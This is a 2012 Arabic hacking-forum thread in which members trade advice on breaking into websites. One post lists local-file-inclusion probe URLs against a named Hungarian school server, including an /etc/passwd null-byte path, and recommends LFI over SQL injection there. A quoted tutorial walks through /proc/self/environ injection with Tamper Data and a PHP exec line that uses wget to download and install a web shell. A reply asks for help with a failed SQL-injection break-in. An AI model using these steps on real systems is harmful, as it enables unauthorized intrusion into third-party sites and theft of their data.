التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام


قديم 06-27-2012, 04:49 AM   رقم المشاركة : 1 (permalink)
معلومات العضو
 
إحصائية العضو








خالد سعودي غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 11
خالد سعودي is on a distinguished road

افتراضي مجاب: رد: ارجوا العناكب الدخول


http://szerver2.berzeviczy.sulinet.hu/icons/
http://szerver2.berzeviczy.sulinet.h.../src/login.php
http://szerver2.berzeviczy.sulinet.h...configtest.php
http://szerver2.berzeviczy.sulinet.h.../etc/passwd%00
انا محقنت الموقع ماني فاضي حقن انت حقن بشكل جيد
هذا اقدر افيدك فيه
بحث عن في الموقع ممكن يكون دخوله الادمن نفس الاعضاء تري ماتصفحت الموقع بشكل جيد عندك ثغرة خمن على الفتي بي ابحث عن الايميل ذكانت حقنت الموقع موجود دخولة
فمان الرحمن
اختراق موفق




Vspan style="font-weight: bold; color: #006400;"Cl[hf:VLspanC v]: hv[,h hgukh;f hg]o,g

   

أفضل جواب - كتبه MaFia
جرب اكتب المعلومات يدوي مش كوبي وباست
اتاكد ان الجدول بتاع معلومات المدير صحيح
استعمل برنامج الهافج
الموقع به ثغره LfI افضل من Sql

اقتباس
مشاهدة المشاركة المشاركة الأصلية كتبت بواسطة Dr.abolalh
السلام عليكم ورحمة الله وبركاتة

كيفكم اخواني اتمنا الجميع بخير وصحة وعافية

حبيت اطرح هاذا الشرح لجل الافادة واتمنا انه يفديكم

المتطلبات
1. FireFox [download]
2. Tamper Data [download]
والموقع المراد التطبيق علية

انا جبت لكم كم موقع

http://pastie.org/private/7fbtucb1obczki7nk0xvxa


طيب نكمل

في البداية لازم نقدر نقرى proc/self/environ

اضغط هنا لترى الصورة بحجمها الطبيعى

بعد مايضبط الشغل نروح نشغل اداة تمبلر داتا

بعد ماتشتغل معنا الاداة
نروح لم



بعدها نروح لم الموقع حقنا ونعمل تحديث وراح تخرج لن هل النافذة



بعدها نروح للمربع هاذا





في هاذا المربع وضعنا
<?php phpinfo();?>


عشان نقرة phpinfo ونضمن الشغل

بعد ماتضغط اوك راح تخرج لك كم نافضة اضغط على الكل



بعدها ماتضغط وتتخطى

يفتح الموقع ويتم قراة phpinfo



ومنها راح نشوف ادوال والسيف مود وغيرها امر مهم قبل رفع الشل



<?exec('wget http://www.site.com/shell.txt -O shell.php');?>

هاذي هي الدالة exec الي راح نسخدمها لسحب الملف طبعن تقدر تغيرها اذا كانت ممنوعه
الى chmod
system

ومع شوي تطوير راح تضبط

بعدها

نروح نشوف

راح يفتح الموقع مثل ماكان

طيب لما تنتهي من الحقن مثال هل الموقع
http://www.site.com/index.php?page=/etc/passwd
نمسح
index.php?page=/etc/passwd

ونحط
http://www.site.com/shell.php


وباذن الله راح يتم الرفع الشل

اتمنا الشرح ماهو مكرر

اخوكم Dr.abolalh

قديم 06-27-2012, 05:22 AM   رقم المشاركة : 2 (permalink)
معلومات العضو
Mezo Shams
:: حبيبي يا رسول الله ::
 
الصورة الرمزية Mezo Shams
 

 

 
إحصائية العضو






Mezo Shams غير متواجد حالياً

إرسال رسالة عبر MSN إلى Mezo Shams إرسال رسالة عبر Yahoo إلى Mezo Shams

 

 

إحصائية الترشيح

عدد النقاط : 10
Mezo Shams is on a distinguished road

افتراضي رد: ارجوا العناكب الدخول


اولا انا اتعلمت دورة الحقن ازاى معرفشى ويقف ادامى المهم انا دلوقتى الى انا عملتوا
اكنى معملتهوش اصل الاميل والباص مو يفتح فى لوحة التحكم وانا دلوقتى اعمل اية
كدة انا نتجتى صفر فى %
بس الى انا عرفتة ان الاصدار 5
ما لية تخمين الى لية اصدار4
والموقع دة اصدار 5
ممكن تقولى ازاى لما اخترق موقع اتاكد انو الباص يفتح اما لا بظبط هوة الاسم والباص الى انا كتبة غلط

التوقيع

http://www14.0zz0.com/2012/06/26/23/132386288.gif
مبتدا فى هكر المواقع
هكر بالحق sql
الميل:ikasnofa@hotmail.com

 

   

موضوع مغلق

مواقع النشر (المفضلة)

أدوات الموضوع
انواع عرض الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة
Trackbacks are متاحة
Pingbacks are متاحة
Refbacks are متاحة

الانتقال السريع


الساعة الآن 11:49 PM


[ vBspiders.Com Network ]

SEO by vBSEO 3.6.0